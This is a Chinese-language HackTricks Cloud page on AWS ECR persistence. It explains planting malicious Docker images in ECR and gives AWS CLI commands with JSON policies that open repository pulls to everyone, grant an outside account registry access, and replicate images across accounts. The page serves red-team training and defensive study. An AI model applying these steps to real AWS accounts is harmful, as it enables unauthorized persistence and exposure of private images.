AWS - ECR Persistence

学习和练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) 学习和练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过提交 PRs 分享黑客技巧到 HackTricks 和 HackTricks Cloud github 仓库。

ECR

更多信息请查看:

AWS - ECR Enum

隐藏带有恶意代码的 Docker 镜像

攻击者可以上传包含恶意代码的 Docker 镜像到 ECR 仓库，并利用它在目标 AWS 账户中保持持久性。然后，攻击者可以将恶意镜像部署到账户内的各种服务，如 Amazon ECS 或 EKS，以隐蔽的方式进行操作。

仓库策略

为单个仓库添加策略，授予自己（或所有人）对仓库的访问权限：

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

请注意，ECR 要求用户在通过 IAM 策略调用 ecr:GetAuthorizationToken API 之前，必须具有权限，然后才能认证到注册表并从任何 Amazon ECR 存储库推送或拉取任何镜像。

Registry Policy & Cross-account Replication

可以通过配置跨账户复制自动复制外部账户中的注册表，在这种情况下，您需要指明要复制注册表的外部账户。

首先，您需要通过类似以下的注册表策略授予外部账户对注册表的访问权限：

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

然后应用复制配置：

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}

学习和练习 AWS Hacking：HackTricks Training AWS Red Team Expert (ARTE) 学习和练习 GCP Hacking：HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过提交 PRs 分享 hacking 技巧到 HackTricks 和 HackTricks Cloud github 仓库。